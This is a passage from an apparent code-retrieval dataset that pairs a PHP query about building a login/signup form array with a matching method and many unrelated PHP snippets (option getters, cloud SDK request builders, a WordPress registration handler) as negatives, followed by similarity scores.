$request->enableTagAuth;\n }\n if (!Utils::isUnset($request->groupId)) {\n $query['GroupId'] = $request->groupId;\n }\n if (!Utils::isUnset($request->pageNumber)) {\n $query['PageNumber'] = $request->pageNumber;\n }\n if (!Utils::isUnset($request->pageSize)) {\n $query['PageSize'] = $request->pageSize;\n }\n if (!Utils::isUnset($request->securityToken)) {\n $query['SecurityToken'] = $request->securityToken;\n }\n if (!Utils::isUnset($request->stageName)) {\n $query['StageName'] = $request->stageName;\n }\n if (!Utils::isUnset($request->tag)) {\n $query['Tag'] = $request->tag;\n }\n if (!Utils::isUnset($request->unDeployed)) {\n $query['UnDeployed'] = $request->unDeployed;\n }\n if (!Utils::isUnset($request->visibility)) {\n $query['Visibility'] = $request->visibility;\n }\n $req = new OpenApiRequest([\n 'query' => OpenApiUtilClient::query($query),\n ]);\n $params = new Params([\n 'action' => 'DescribeApis',\n 'version' => '2016-07-14',\n 'protocol' => 'HTTPS',\n 'pathname' => '/',\n 'method' => 'POST',\n 'authType' => 'AK',\n 'style' => 'RPC',\n 'reqBodyType' => 'formData',\n 'bodyType' => 'json',\n ]);\n\n return DescribeApisResponse::fromMap($this->callApi($params, $req, $runtime));\n }", "abstract function options();", "public function isOptions()\n\t{\n\t\treturn $this->httpMethod() == self::MethodOptions;\n\t}", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function setAnalysisQuery($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Cloud\\Asset\\V1p4beta1\\IamPolicyAnalysisQuery::class);\n $this->analysis_query = $var;\n\n return $this;\n }", "public function actionOptions() //OPTIONS\n {\n $options = ['GET', 'HEAD', 'PUT', 'POST', 'OPTIONS'];\n Yii::$app->getResponse()->getHeaders()->set('Allow', implode(', ', $options));\n }", "public function options()\n\t{\n\t\treturn [];\n\t}", "public static function isOptionsRequest()\n {\n return isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] == 'OPTIONS';\n }", "public function describeCacheAnalysisReportListWithOptions($request, $runtime)\n {\n Utils::validateModel($request);\n $query = [];\n if (!Utils::isUnset($request->days)) {\n $query['Days'] = $request->days;\n }\n if (!Utils::isUnset($request->instanceId)) {\n $query['InstanceId'] = $request->instanceId;\n }\n if (!Utils::isUnset($request->nodeId)) {\n $query['NodeId'] = $request->nodeId;\n }\n if (!Utils::isUnset($request->ownerAccount)) {\n $query['OwnerAccount'] = $request->ownerAccount;\n }\n if (!Utils::isUnset($request->ownerId)) {\n $query['OwnerId'] = $request->ownerId;\n }\n if (!Utils::isUnset($request->pageNumbers)) {\n $query['PageNumbers'] = $request->pageNumbers;\n }\n if (!Utils::isUnset($request->pageSize)) {\n $query['PageSize'] = $request->pageSize;\n }\n if (!Utils::isUnset($request->resourceOwnerAccount)) {\n $query['ResourceOwnerAccount'] = $request->resourceOwnerAccount;\n }\n if (!Utils::isUnset($request->resourceOwnerId)) {\n $query['ResourceOwnerId'] = $request->resourceOwnerId;\n }\n if (!Utils::isUnset($request->securityToken)) {\n $query['SecurityToken'] = $request->securityToken;\n }\n $req = new OpenApiRequest([\n 'query' => OpenApiUtilClient::query($query),\n ]);\n $params = new Params([\n 'action' => 'DescribeCacheAnalysisReportList',\n 'version' => '2015-01-01',\n 'protocol' => 'HTTPS',\n 'pathname' => '/',\n 'method' => 'POST',\n 'authType' => 'AK',\n 'style' => 'RPC',\n 'reqBodyType' => 'formData',\n 'bodyType' => 'json',\n ]);\n\n return DescribeCacheAnalysisReportListResponse::fromMap($this->callApi($params, $req, $runtime));\n }", "public function configureOptions();", "public function testWithVariationsOfDecideOptions(): void\n {\n $options = [\n OptimizelyDecideOption::INCLUDE_REASONS,\n // OptimizelyDecideOption::DISABLE_DECISION_EVENT,\n // OptimizelyDecideOption::ENABLED_FLAGS_ONLY, // ⬅️ Disable some of your flags\n // OptimizelyDecideOption::IGNORE_USER_PROFILE_SERVICE,\n // OptimizelyDecideOption::EXCLUDE_VARIABLES,\n ];\n\n $decision = $this->userContext->decide(FLAG_KEY, $options);\n\n $this->printDecision($decision, 'Modify the OptimizelyDecideOptions and check the decision variables expected');\n }", "public function getIsOptions()\n {\n return $this->getMethod() === 'OPTIONS';\n }", "public function isOptions()\n {\n return $this->method === self::METHOD_OPTIONS;\n }", "protected function getOptions()\n\t{\n\t\treturn [\n\t\t\t['attach', '-a', InputOption::VALUE_OPTIONAL, 'The pipes to attach to the workflow.', null],\n\t\t\t['unguard', '-u', InputOption::VALUE_NONE, 'Do not make this workflow validate data.', null],\n\t\t];\n\t}", "public function options(NovaRequest $request): array\n {\n return array_flip(Module::SKILL_LEVELS);\n }", "public function describeApisByIpControlWithOptions($request, $runtime)\n {\n Utils::validateModel($request);\n $query = [];\n if (!Utils::isUnset($request->ipControlId)) {\n $query['IpControlId'] = $request->ipControlId;\n }\n if (!Utils::isUnset($request->pageNumber)) {\n $query['PageNumber'] = $request->pageNumber;\n }\n if (!Utils::isUnset($request->pageSize)) {\n $query['PageSize'] = $request->pageSize;\n }\n if (!Utils::isUnset($request->securityToken)) {\n $query['SecurityToken'] = $request->securityToken;\n }\n $req = new OpenApiRequest([\n 'query' => OpenApiUtilClient::query($query),\n ]);\n $params = new Params([\n 'action' => 'DescribeApisByIpControl',\n 'version' => '2016-07-14',\n 'protocol' => 'HTTPS',\n 'pathname' => '/',\n 'method' => 'POST',\n 'authType' => 'AK',\n 'style' => 'RPC',\n 'reqBodyType' => 'formData',\n 'bodyType' => 'json',\n ]);\n\n return DescribeApisByIpControlResponse::fromMap($this->callApi($params, $req, $runtime));\n }", "public function getRequiredOptions(): array\n {\n return ['constraints'];\n }", "public function testWithVariationsOfDecideOptions(): void\n {\n $options = [\n OptimizelyDecideOption::INCLUDE_REASONS,\n // OptimizelyDecideOption::DISABLE_DECISION_EVENT,\n // OptimizelyDecideOption::ENABLED_FLAGS_ONLY, // ⬅️ Disable some of your flags\n // OptimizelyDecideOption::IGNORE_USER_PROFILE_SERVICE,\n // OptimizelyDecideOption::EXCLUDE_VARIABLES,\n ];\n\n $decision = $this->userContext->decideForKeys(FLAG_KEYS, $options);\n\n $this->printDecisions($decision, \"Modify the OptimizelyDecideOptions and check all the decisions' are as expected\");\n }", "protected function createOptions()\n {\n $isPng = ($this->getMimeTypeOfSource() == 'image/png');\n\n $this->options2 = new Options();\n $this->options2->addOptions(\n new IntegerOption('alpha-quality', 85, 0, 100),\n new BooleanOption('auto-filter', false),\n new IntegerOption('default-quality', ($isPng ? 85 : 75), 0, 100),\n new StringOption('encoding', 'auto', ['lossy', 'lossless', 'auto']),\n new BooleanOption('low-memory', false),\n new BooleanOption('log-call-arguments', false),\n new IntegerOption('max-quality', 85, 0, 100),\n new MetadataOption('metadata', 'none'),\n new IntegerOption('method', 6, 0, 6),\n new IntegerOption('near-lossless', 60, 0, 100),\n new StringOption('preset', 'none', ['none', 'default', 'photo', 'picture', 'drawing', 'icon', 'text']),\n new QualityOption('quality', ($isPng ? 85 : 'auto')),\n new IntegerOrNullOption('size-in-percentage', null, 0, 100),\n new BooleanOption('skip', false),\n new BooleanOption('use-nice', false),\n new ArrayOption('jpeg', []),\n new ArrayOption('png', [])\n );\n }", "protected function getOptions() {}", "protected function _getOptions() { return array(); }", "protected function getOptions() {}", "protected function getOptions() {}", "public function options(Request $request)\n {\n return [\n '有解析' => '有解析',\n '无解析' => '无解析',\n ];\n }", "public function getOptions(Request $request): array;", "abstract protected function options(): array;", "public function optionsAction(): Response\n {\n $response = new Response();\n\n $response->headers->set('Allow', 'GET, OPTIONS');\n\n return $response;\n }", "public function optionsAction(): Response\n {\n $response = new Response();\n\n $response->headers->set('Allow', 'GET, OPTIONS');\n\n return $response;\n }", "public function getOptions()\n {\n return $this->target->getOptions();\n }", "protected function getOptions()\r\n {\r\n return [\r\n ['views', null, InputOption::VALUE_OPTIONAL, 'Only Create authentication views.', false],\r\n ['force', null, InputOption::VALUE_OPTIONAL, 'Overwrite existing files.', false],\r\n ];\r\n }", "public function getOptions() {\n $opts = $this->query['opts'];\n unset($opts[CURLOPT_FILE]);\n if (isset($opts[CURLOPT_WRITEHEADER])) {\n unset($opts[CURLOPT_WRITEHEADER]);\n }\n return $opts;\n }", "abstract public function getOptions();", "public function options($options = [])\n {\n //TODO 客户端异步加载数据项\n\n return $this->baseOptions($options);\n }", "protected function getOptions()\n {\n return [\n ['api', null, InputOption::VALUE_NONE, 'Exclude the create and edit methods from the controller.'],\n ];\n }", "protected function getOptions()\n {\n return [\n ];\n }", "protected function getOptions()\n {\n return [\n ];\n }", "protected function getOptions()\n {\n return [\n ];\n }", "protected function getOptions()\n {\n return [\n ];\n }", "protected function getOptions()\n {\n return [\n ];\n }", "function mfcs_get_audience_list_options($option = NULL, $hidden = FALSE, $disabled = FALSE) {\n $options = array();\n $options_all = array();\n\n if ($hidden) {\n $options_all[MFCS_REQUEST_AUDIENCE_NONE] = 'None';\n }\n\n $options_all[MFCS_REQUEST_AUDIENCE_GUESTS_ONLY] = 'Invited Guests Only';\n $options_all[MFCS_REQUEST_AUDIENCE_STUDENTS_ONLY] = 'Students Only';\n $options_all[MFCS_REQUEST_AUDIENCE_STUDENTS_AND_EMPLOYEES] = 'Open to all Students and Employees';\n $options_all[MFCS_REQUEST_AUDIENCE_FACULTY_AND_STAFF] = 'Faculty and Staff Only';\n $options_all[MFCS_REQUEST_AUDIENCE_PUBLIC] = 'Open to the Public';\n\n if ($option == 'select') {\n $options[''] = '- Select -';\n }\n\n foreach ($options_all as $option_id => $option_name) {\n $options[$option_id] = $option_name;\n }\n\n asort($options);\n\n return $options;\n}", "public function getOptions(): array;", "public function getOptions(): array;", "public function getOptions(): array;", "public function getOptions(): array;", "public function getOptions(): array;", "public function getOptions(): array;", "public function getOptions(): array;", "protected function getOptions() {\n return [];\n }", "protected function getOptions() {\n return [];\n }", "protected function getOptions()\n\t{\n\t\treturn [\n\t\t];\n\t}", "public function getOptions()\r\n {\r\n }", "public function processRFSOption(array $options)\n {\n if (isset($options[static::TOKEN_LABEL])) {\n $this->query['access_token'] = $options[static::TOKEN_LABEL];\n }\n }", "protected function filterRequestOption(array &$options)\n {\n if (isset($options['json'])) {\n $options['format'] = 'json';\n } elseif (!isset($options['format'])) {\n $options['format'] = $this->getFormat();\n }\n\n // Set correct headers for this format\n switch ($options['format']) {\n case 'simple_xml':\n $options['simple_xml'] = true;\n // simple_xml is still xml. This should fall through\n case 'xml':\n $options['headers']['Content-Type'] = 'text/xml';\n break;\n case 'json':\n $options['headers']['Content-Type'] = 'application/json';\n $options['headers']['x-li-format'] = 'json';\n $options['query']['format'] = 'json';\n break;\n default:\n // Do nothing\n }\n unset($options['format']);\n }", "protected function getOptions()\r\n {\r\n return [\r\n\r\n ];\r\n }", "public function isOptions(): bool\n {\n return $this->getMethod() === self::METHOD_OPTIONS;\n }", "public function options()\n {\n return $this->options ?: [];\n }", "protected static abstract function getOptions();" ]
[ "0.5209625", "0.49348474", "0.48422602", "0.4811319", "0.47661403", "0.46841764", "0.46841764", "0.46841764", "0.46841764", "0.46841764", "0.46600384", "0.4581411", "0.45696872", "0.45582387", "0.45573792", "0.45428148", "0.45280638", "0.45234486", "0.45220596", "0.45115513", "0.45115513", "0.44978112", "0.44731638", "0.44683975", "0.44683975", "0.44675156", "0.4426626", "0.4421178", "0.44152462", "0.44086295", "0.4393377", "0.43870336", "0.43870336", "0.43870336", "0.43870336", "0.43870336", "0.43870336", "0.43870336", "0.43870336", "0.43870336", "0.43870336", "0.43870336", "0.43870336", "0.43870336", "0.43870336", "0.43870336", "0.43870336", "0.43709826", "0.4350045", "0.43482843", "0.43402034", "0.43392077", "0.4315049", "0.43142658", "0.43139574", "0.42994472", "0.42954463", "0.42882043", "0.42793304", "0.42770135", "0.42756703", "0.42732006", "0.4269246", "0.42671958", "0.42657176", "0.42657176", "0.42555147", "0.42500192", "0.42489508", "0.42412144", "0.42412144", "0.4221116", "0.42135036", "0.42125812", "0.42089313", "0.41989842", "0.4194786", "0.41936707", "0.41936707", "0.41936707", "0.41936707", "0.41936707", "0.4191655", "0.4190362", "0.4190362", "0.4190362", "0.4190362", "0.4190362", "0.4190362", "0.4190362", "0.41873908", "0.41873908", "0.41871026", "0.41865674", "0.4179144", "0.41753638", "0.41746324", "0.41740793", "0.4171319", "0.4169878" ]
0.8181363
0
/ | | prepare_form_data() | | Prepares the array that is used in the views to create the signup form to | the user. Private function that is called by the form() singleton when | being statically called. |
private function prepare_form_data() { $form_data = array( 'email' => array( 'name' => 'email', 'options' => array( '' => '--', ), 'extra' => array('id'=>'login-email', 'autofocus'=>''), ), 'password' => array( 'name' => 'password', 'options' => array( '' => '--', ), 'extra' => array('id'=>'login-password'), ), 'lbl-email' => array( 'target' => 'email', 'label' => 'E-mail Address', ), 'lbl-password' => array( 'target' => 'password', 'label' => 'Password', ), 'btn-submit' => array( 'value' => 'Login', 'extra' => array( 'class' => 'btn btn-primary', ), ), ); return \DG\Utility::massage_form_data($form_data); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "private function _get_register_form() {\n\t\t$data['username'] = array(\n\t\t\t'name' => 'username',\n\t\t\t'id' => 'username',\n\t\t\t'type' => 'text',\n\t\t\t'value' => isset($_POST['username']) ? $_POST['username'] : ''\n\t\t);\n\t\t$data['email'] = array(\n\t\t\t'name' => 'email',\n\t\t\t'id' => 'email',\n\t\t\t'type' => 'text',\n\t\t\t'value' => isset($_POST['email']) ? $_POST['email'] : '',\n\t\t);\n\t\t$data['password'] = array(\n\t\t\t'name' => 'password',\n\t\t\t'id' => 'password',\n\t\t\t'type' => 'password',\n\t\t\t'value' => isset($_POST['password']) ? $_POST['password'] : '',\n\t\t);\n\t\t$data['password_confirm'] = array(\n\t\t\t'name' => 'password_confirm',\n\t\t\t'id' => 'password_confirm',\n\t\t\t'type' => 'password',\n\t\t\t'value' => isset($_POST['password_verification']) ? $_POST['password_verification'] : '',\n\t\t);\n\t\t$data['captcha'] = $this->recaptcha->get_html();\n\t\treturn $data;\n\t}", "public function registrationForm(){\n self::$signUpName = $_POST['signup-name'];\n self::$signUpEmail = $_POST['signup-email'];\n self::$signUpPassword = $_POST['signup-password'];\n\n self::sanitize();\n if(self::checkIfAvailable()){\n self::$signUpName =\"\";\n self::$signUpEmail = \"\";\n self::$signUpPassword = \"\";\n }\n }", "public function prepareForm()\n {\n // Searching for the data to populate the Form\n\n // Adding default value to the list\n\n // Setting the lists in $data array\n $data = [\n ];\n\n //dd($data);\n\n return $data;\n }", "public function prepareForm()\n {\n // Searching for the data to populate the Form\n $client = new Client();\n $street_type = new StreetType();\n $state = new State();\n\n // Adding default value to the list\n $clients = $client->getSelectList();\n $street_types = $street_type->getSelectList();\n $states = $state->getSelectList();\n\n // Setting the lists in $data array\n $data = [\n 'clients' => $clients,\n 'street_types' => $street_types,\n 'states' => $states,\n ];\n\n //dd($data);\n\n return $data;\n }", "public function prepareForm() {\n $fieldFactory = FieldFactory::getInstance();\n $translator = I18n::getInstance()->getTranslator();\n\n $profileList = array();\n $profiles = $this->wizard->getInstaller()->getProfiles();\n foreach ($profiles as $profileName => $profile) {\n $profileList[$profileName] = $profile->getName($translator) . '<span>' . $profile->getDescription($translator) . '</span>';\n }\n\n $profile = $this->wizard->getProfile();\n\n $profileField = $fieldFactory->createField(FieldFactory::TYPE_OPTION, self::FIELD_PROFILE, $profile);\n $profileField->setOptions($profileList);\n $profileField->addValidator(new RequiredValidator());\n\n $this->wizard->addField($profileField);\n }", "public function populateRegisterForm($data=array())\n\t{\n\t\t# Get the User class.\n\t\trequire_once Utility::locateFile(MODULES.'User'.DS.'User.php');\n\t\t# Instantiate a new User object.\n\t\t$user=new User();\n\t\t# Set the Login object to the data member.\n\t\t$this->setUserObject($user);\n\n\t\ttry\n\t\t{\n\t\t\t# Set the passed data array to the data member.\n\t\t\t$this->setData($data);\n\n\t\t\t# Process any Login data held in SESSION and set it to the data data member. This overwrites any passed data.\n\t\t\t$this->setSessionDataToDataArray('register');\n\t\t\t# Remove any \"account\" sessions.\n\t\t\tunset($_SESSION['form']['account']);\n\t\t\t# Remove any \"audio\" sessions.\n\t\t\tunset($_SESSION['form']['audio']);\n\t\t\t# Remove any \"category\" sessions.\n\t\t\tunset($_SESSION['form']['category']);\n\t\t\t# Remove any \"content\" sessions.\n\t\t\tunset($_SESSION['form']['content']);\n\t\t\t# Remove any \"file\" sessions.\n\t\t\tunset($_SESSION['form']['file']);\n\t\t\t# Remove any \"image\" sessions.\n\t\t\tunset($_SESSION['form']['image']);\n\t\t\t# Remove any \"institution\" sessions.\n\t\t\tunset($_SESSION['form']['institution']);\n\t\t\t# Remove any \"language\" sessions.\n\t\t\tunset($_SESSION['form']['language']);\n\t\t\t# Remove any \"login\" sessions.\n\t\t\tunset($_SESSION['form']['login']);\n\t\t\t# Remove any \"post\" sessions.\n\t\t\tunset($_SESSION['form']['post']);\n\t\t\t# Remove any \"product\" sessions.\n\t\t\tunset($_SESSION['form']['product']);\n\t\t\t# Remove any \"publisher\" sessions.\n\t\t\tunset($_SESSION['form']['publisher']);\n\t\t\t# Remove any \"register\" sessions.\n\t\t\tunset($_SESSION['form']['register']);\n\t\t\t# Remove any \"search\" sessions.\n\t\t\tunset($_SESSION['form']['search']);\n\t\t\t# Remove any \"staff\" sessions.\n\t\t\tunset($_SESSION['form']['staff']);\n\t\t\t# Remove any \"video\" sessions.\n\t\t\tunset($_SESSION['form']['video']);\n\n\t\t\t# Set any POST values to the appropriate data array indexes.\n\t\t\t$this->setPostDataToDataArray();\n\n\t\t\t# Populate the data members with defaults, passed values, or data saved in SESSION.\n\t\t\t$this->setDataToDataMembers($user);\n\t\t}\n\t\tcatch(Exception $e)\n\t\t{\n\t\t\tthrow $e;\n\t\t}\n\t}", "public function get_form_data() {\n\n\t\tcheck_ajax_referer( 'uael_register_user', 'nonce' );\n\n\t\t$data = array();\n\t\t$error = array();\n\t\t$response = array();\n\t\t$allow_register = get_option( 'users_can_register' );\n\t\t$is_widget_active = UAEL_Helper::is_widget_active( 'RegistrationForm' );\n\n\t\tif ( isset( $_POST['data'] ) && '1' === $allow_register && true === $is_widget_active ) {\n\n\t\t\t$data = $_POST['data'];\n\n\t\t\tif ( isset( $data['is_recaptcha_enabled'] ) ) {\n\t\t\t\tif ( 'yes' === sanitize_text_field( $data['is_recaptcha_enabled'] ) ) {\n\t\t\t\t\t$recaptcha_token = sanitize_text_field( $data['recaptcha_token'] );\n\t\t\t\t\tif ( empty( $recaptcha_token ) ) {\n\t\t\t\t\t\t$error['recaptcha'] = __( 'The Captcha field cannot be blank. Please enter a value.', 'uael' );\n\t\t\t\t\t}\n\n\t\t\t\t\t$recaptcha_errors = array(\n\t\t\t\t\t\t'missing-input-secret' => __( 'The secret parameter is missing.', 'uael' ),\n\t\t\t\t\t\t'invalid-input-secret' => __( 'The secret parameter is invalid or malformed.', 'uael' ),\n\t\t\t\t\t\t'missing-input-response' => __( 'The response parameter is missing.', 'uael' ),\n\t\t\t\t\t\t'invalid-input-response' => __( 'The response parameter is invalid or malformed.', 'uael' ),\n\t\t\t\t\t);\n\n\t\t\t\t\t$recaptcha_response = $recaptcha_token;\n\t\t\t\t\t$integration_option = UAEL_Helper::get_integrations_options();\n\t\t\t\t\t$recaptcha_secret = $integration_option['recaptcha_v3_secretkey'];\n\t\t\t\t\t$client_ip = UAEL_Helper::get_client_ip();\n\t\t\t\t\t$recaptcha_score = $integration_option['recaptcha_v3_score'];\n\t\t\t\t\tif ( 0 > $recaptcha_score || 1 < $recaptcha_score ) {\n\t\t\t\t\t\t$recaptcha_score = 0.5;\n\t\t\t\t\t}\n\n\t\t\t\t\t$request = array(\n\t\t\t\t\t\t'body' => array(\n\t\t\t\t\t\t\t'secret' => $recaptcha_secret,\n\t\t\t\t\t\t\t'response' => $recaptcha_response,\n\t\t\t\t\t\t\t'remoteip' => $client_ip,\n\t\t\t\t\t\t),\n\t\t\t\t\t);\n\n\t\t\t\t\t$response = wp_remote_post( 'https://www.google.com/recaptcha/api/siteverify', $request );\n\n\t\t\t\t\t$response_code = wp_remote_retrieve_response_code( $response );\n\n\t\t\t\t\tif ( 200 !== (int) $response_code ) {\n\t\t\t\t\t\t/* translators: %d admin link */\n\t\t\t\t\t\t$error['recaptcha'] = sprintf( __( 'Can not connect to the reCAPTCHA server (%d).', 'uael' ), $response_code );\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$body = wp_remote_retrieve_body( $response );\n\t\t\t\t\t\t$result = json_decode( $body, true );\n\n\t\t\t\t\t\t$action = ( ( isset( $result['action'] ) && 'Form' === $result['action'] ) && ( $result['score'] > $recaptcha_score ) );\n\n\t\t\t\t\t\tif ( ! $result['success'] ) {\n\t\t\t\t\t\t\tif ( ! $action ) {\n\t\t\t\t\t\t\t\t$message = __( 'Invalid Form - reCAPTCHA validation failed', 'uael' );\n\n\t\t\t\t\t\t\t\tif ( isset( $result['error-codes'] ) ) {\n\t\t\t\t\t\t\t\t\t$result_errors = array_flip( $result['error-codes'] );\n\n\t\t\t\t\t\t\t\t\tforeach ( $recaptcha_errors as $error_key => $error_desc ) {\n\t\t\t\t\t\t\t\t\t\tif ( isset( $result_errors[ $error_key ] ) ) {\n\t\t\t\t\t\t\t\t\t\t\t$message = $recaptcha_errors[ $error_key ];\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$error['recaptcha'] = $message;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$post_id = $data['page_id'];\n\t\t\t$widget_id = $data['widget_id'];\n\n\t\t\t$elementor = \\Elementor\\Plugin::$instance;\n\t\t\t$meta = $elementor->documents->get( $post_id )->get_elements_data();\n\n\t\t\t$widget_data = $this->find_element_recursive( $meta, $widget_id );\n\n\t\t\t$widget = $elementor->elements_manager->create_element_instance( $widget_data );\n\n\t\t\t$settings = $widget->get_settings();\n\n\t\t\tif ( 'both' === $data['send_email'] && 'custom' === $settings['email_template'] ) {\n\t\t\t\tself::$email_content['subject'] = $settings['email_subject'];\n\t\t\t\tself::$email_content['message'] = $settings['email_content'];\n\t\t\t\tself::$email_content['headers'] = 'Content-Type: text/' . $settings['email_content_type'] . '; charset=UTF-8' . \"\\r\\n\";\n\t\t\t}\n\n\t\t\tself::$email_content['template_type'] = $settings['email_template'];\n\n\t\t\t$user_role = ( 'default' !== $settings['select_role'] && ! empty( $settings['select_role'] ) ) ? $settings['select_role'] : get_option( 'default_role' );\n\n\t\t\t/* Checking Email address. */\n\t\t\tif ( isset( $data['email'] ) && ! is_email( $data['email'] ) ) {\n\n\t\t\t\t$error['email'] = __( 'The email address is incorrect.', 'uael' );\n\n\t\t\t} elseif ( email_exists( $data['email'] ) ) {\n\n\t\t\t\t$error['email'] = __( 'An account is already registered with your email address. Please choose another one.', 'uael' );\n\t\t\t}\n\n\t\t\t/* Checking User name. */\n\t\t\tif ( isset( $data['user_name'] ) && ! empty( $data['user_name'] ) && ! validate_username( $data['user_name'] ) ) {\n\n\t\t\t\t$error['user_name'] = __( 'This username is invalid because it uses illegal characters. Please enter a valid username.', 'uael' );\n\n\t\t\t} elseif ( isset( $data['user_name'] ) && ( mb_strlen( $data['user_name'] ) > 60 ) && validate_username( $data['user_name'] ) ) {\n\n\t\t\t\t$error['user_name'] = __( 'Username may not be longer than 60 characters.', 'uael' );\n\t\t\t} elseif ( isset( $data['user_name'] ) && username_exists( $data['user_name'] ) ) {\n\n\t\t\t\t$error['user_name'] = __( 'This username is already registered. Please choose another one.', 'uael' );\n\n\t\t\t} elseif ( isset( $data['user_name'] ) && ! empty( $data['user_name'] ) ) {\n\n\t\t\t\t/** This Filters the list of blacklisted usernames. */\n\t\t\t\t$illegal_logins = (array) apply_filters( 'uael_illegal_user_logins', array() );\n\n\t\t\t\tif ( in_array( strtolower( $data['user_name'] ), array_map( 'strtolower', $illegal_logins ), true ) ) {\n\t\t\t\t\t$error['user_login'] = __( 'Sorry, that username is not allowed.', 'uael' );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t/* Get username from e-mail address */\n\t\t\tif ( ! isset( $data['user_name'] ) || empty( $data['user_name'] ) ) {\n\t\t\t\t$email_username = $this->uael_create_username( $data['email'], '' );\n\t\t\t\t$data['user_name'] = sanitize_user( $email_username );\n\t\t\t}\n\n\t\t\t// Handle password creation.\n\t\t\t$password_generated = false;\n\t\t\t$user_pass = '';\n\t\t\tif ( ! isset( $data['password'] ) && empty( $data['password'] ) ) {\n\t\t\t\t$user_pass = wp_generate_password();\n\t\t\t\t$password_generated = true;\n\t\t\t} else {\n\t\t\t\t/* Checking User Password. */\n\t\t\t\tif ( false !== strpos( wp_unslash( $data['password'] ), '\\\\' ) ) {\n\t\t\t\t\t$error['password'] = __( 'Password may not contain the character \"\\\\\"', 'uael' );\n\t\t\t\t} else {\n\t\t\t\t\t$user_pass = $data['password'];\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$user_login = ( isset( $data['user_name'] ) && ! empty( $data['user_name'] ) ) ? sanitize_user( $data['user_name'], true ) : '';\n\t\t\t$user_email = ( isset( $data['email'] ) && ! empty( $data['email'] ) ) ? sanitize_text_field( wp_unslash( $data['email'] ) ) : '';\n\n\t\t\t$first_name = ( isset( $data['first_name'] ) && ! empty( $data['first_name'] ) ) ? sanitize_text_field( wp_unslash( $data['first_name'] ) ) : '';\n\n\t\t\t$last_name = ( isset( $data['last_name'] ) && ! empty( $data['last_name'] ) ) ? sanitize_text_field( wp_unslash( $data['last_name'] ) ) : '';\n\n\t\t\t$phone = ( isset( $data['phone'] ) && ! empty( $data['phone'] ) ) ? sanitize_text_field( wp_unslash( $data['phone'] ) ) : '';\n\n\t\t\tif ( ! empty( $error ) ) {\n\n\t\t\t\t// If there are items in our errors array, return those errors.\n\t\t\t\t$response['success'] = false;\n\t\t\t\t$response['error'] = $error;\n\n\t\t\t} else {\n\n\t\t\t\tself::$email_content['user_login'] = $user_login;\n\t\t\t\tself::$email_content['user_email'] = $user_email;\n\t\t\t\tself::$email_content['first_name'] = $first_name;\n\t\t\t\tself::$email_content['last_name'] = $last_name;\n\n\t\t\t\t$user_args = apply_filters(\n\t\t\t\t\t'uael_register_insert_user_args',\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'user_login' => isset( $user_login ) ? $user_login : '',\n\t\t\t\t\t\t'user_pass' => isset( $user_pass ) ? $user_pass : '',\n\t\t\t\t\t\t'user_email' => isset( $user_email ) ? $user_email : '',\n\t\t\t\t\t\t'first_name' => isset( $first_name ) ? $first_name : '',\n\t\t\t\t\t\t'last_name' => isset( $last_name ) ? $last_name : '',\n\t\t\t\t\t\t'user_registered' => gmdate( 'Y-m-d H:i:s' ),\n\t\t\t\t\t\t'role' => isset( $user_role ) ? $user_role : '',\n\t\t\t\t\t\t'phone' => isset( $phone ) ? $phone : '',\n\t\t\t\t\t),\n\t\t\t\t\t$data\n\t\t\t\t);\n\n\t\t\t\t$phone_val = $user_args['phone'];\n\n\t\t\t\tunset( $user_args['phone'] );\n\n\t\t\t\t$result = wp_insert_user( $user_args );\n\n\t\t\t\tif ( ! is_wp_error( $result ) ) {\n\t\t\t\t\tupdate_user_meta( $result, 'phone', $phone_val );\n\t\t\t\t}\n\n\t\t\t\tif ( ! is_wp_error( $result ) ) {\n\t\t\t\t\t// show a message of success and provide a true success variable.\n\t\t\t\t\t$response['success'] = true;\n\t\t\t\t\t$response['message'] = __( 'successfully registered', 'uael' );\n\n\t\t\t\t\t$notify = $data['send_email'];\n\n\t\t\t\t\t/* Login user after registration and redirect to home page if not currently logged in */\n\t\t\t\t\tif ( ! is_user_logged_in() && 'yes' === $data['auto_login'] ) {\n\t\t\t\t\t\t$creds = array();\n\t\t\t\t\t\t$creds['user_login'] = $user_login;\n\t\t\t\t\t\t$creds['user_password'] = $user_pass;\n\t\t\t\t\t\t$creds['remember'] = true;\n\t\t\t\t\t\t$login_user = wp_signon( $creds, false );\n\t\t\t\t\t}\n\n\t\t\t\t\tif ( $result ) {\n\n\t\t\t\t\t\t// Send email to the user even if the send email option is disabled.\n\t\t\t\t\t\tself::$email_content['pass'] = $user_pass;\n\t\t\t\t\t}\n\n\t\t\t\t\t/**\n\t\t\t\t\t * Fires after a new user has been created.\n\t\t\t\t\t *\n\t\t\t\t\t * @since 1.18.0\n\t\t\t\t\t *\n\t\t\t\t\t * @param int $user_id ID of the newly created user.\n\t\t\t\t\t * @param string $notify Type of notification that should happen. See wp_send_new_user_notifications()\n\t\t\t\t\t * for more information on possible values.\n\t\t\t\t\t */\n\t\t\t\t\tdo_action( 'edit_user_created_user', $result, $notify );\n\n\t\t\t\t} else {\n\t\t\t\t\t$response['error'] = wp_send_json_error();\n\t\t\t\t}\n\t\t\t}\n\n\t\t\twp_send_json( $response );\n\n\t\t} else {\n\t\t\tdie;\n\t\t}\n\n\t}", "function m_dspSignupForm()\n\t{\n\t\t#INTIALIZING TEMPLATES\n\t\t$this->ObTpl=new template();\n\t\t$this->ObTpl->set_file(\"TPL_USER_FILE\", 